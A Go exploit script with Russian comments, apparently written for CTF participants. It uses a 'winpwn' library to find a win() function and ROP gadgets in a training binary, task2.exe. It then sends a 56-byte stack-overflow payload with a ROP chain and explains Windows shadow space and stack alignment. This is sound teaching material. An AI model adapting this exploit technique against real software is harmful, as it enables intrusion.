/* В этом скрипте мы используем все фичи winpwn: парсинг PE, извлечение базового адреса (ImageBase), поиск гаджетов через rp++ и динамическую сборку пейлоада. */

package main

import (
	"bytes"
	"fmt"
	"log"
	"winpwn"
)

func main() {
	target := "task2.exe"

	peFile, err := winpwn.OpenPE(target)
	if err != nil {
		log.Fatalf("Failed to open PE: %v", err)
	}
	defer peFile.Close()

	// 2. Получаем RVA функции win из таблицы экспортов
	winRVA, err := peFile.GetProcAddress("win")
	if err != nil {
		log.Fatalf("win() not found: %v", err)
	}

	// 3. Достаем ImageBase из заголовка (обычно 0x140000000 при отключенном ASLR)
	imageBase, err := peFile.ImageBase()
	if err != nil {
		log.Fatalf("Failed to read ImageBase: %v", err)
	}

	// Вычисляем абсолютный адрес win()
	winAddr := imageBase + winRVA
	fmt.Printf("[+] win() address: 0x%X\n", winAddr)

	// 4. Ищем гаджеты (нам нужен RCX вместо RDI) — нативный сканер, rp++ не нужен
	rop, err := winpwn.NewROP(target)
	if err != nil {
		log.Fatalf("ROP init error: %v", err)
	}
	defer rop.Close()

	popRcxGadgets, err := rop.Search("pop rcx ; ret")
	if err != nil {
		log.Fatalf("pop rcx not found")
	}
	popRcx := popRcxGadgets[0].Address
	fmt.Printf("[+] pop rcx; ret address: 0x%X\n", popRcx)

	// Верификация цепочки прямо из скрипта, без внешнего objdump/IDA
	if lines, err := rop.Disassemble(popRcx, 2); err == nil {
		fmt.Printf("[*] verified: %s\n", lines)
	}

	retGadgets, err := rop.Search("ret")
	if err != nil {
		log.Fatalf("ret not found")
	}
	ret := retGadgets[0].Address

	// 5. Конструируем пейлоад
	// Реальное расстояние до return-адреса зависит от компилятора и его
	// версии — "32 байта буфер + 8 байт сохранённый RBP" (=40) это лишь
	// предположение по исходнику. На gcc/MinGW из этой сборки buf реально
	// лежит на rbp-0x30 (объдамп vulnerable(): `lea -0x30(%rbp),%rdx`),
	// то есть до return-адреса 0x30+0x8 = 56 байт, не 40. Проверяй через
	// objdump -d / x86dbg или просто перебором, не доверяй комментарию
	// в исходнике вслепую.
	offset := 56
	payload := bytes.Repeat([]byte("A"), offset)

	// --- ROP Цепочка ---
	// Закидываем 0xDEADBEEF в RCX
	payload = append(payload, winpwn.P64(popRcx)...)
	payload = append(payload, winpwn.P64(0xDEADBEEF)...)

	// Stack Alignment
	// Вызов system() требует, чтобы стек был выровнен по границе 16 байт (адрес должен оканчиваться на 0).
	// Добавляем холостой 'ret', чтобы сдвинуть стек на 8 байт вниз.
	payload = append(payload, winpwn.P64(ret)...)

	// Прыжок в win()
	payload = append(payload, winpwn.P64(winAddr)...)

	// 6. Взаимодействие
	tube, err := winpwn.Spawn("./" + target)
	if err != nil {
		log.Fatalf("Spawn: %v", err)
	}

	if err := tube.SendLineAfter([]byte("Input: "), payload); err != nil {
		log.Fatalf("SendLineAfter: %v", err)
	}

	tube.Interactive()
}

/*На что обратить внимание твоим участникам:

  Shadow Space (Теневое пространство): В отличие от Linux, в Windows вызывающая функция обязана выделить 32 байта (4 слота по 8 байт) на стеке перед вызовом любой другой функции. Поскольку мы прыгаем прямо в пролог функции win(), она сама выделит себе место. Но если строить сложный ROP (вызов system напрямую через ROP), перед адресом system пришлось бы класть 32 байта мусора.

  Stack Alignment: WinAPI (через которые работает system в недрах msvcrt.dll) используют инструкции movaps, которые крашатся (выдают Access Violation), если стек не выровнен на 16 байт. Именно для этого в цепочку часто вклинивают один пустой ret. */
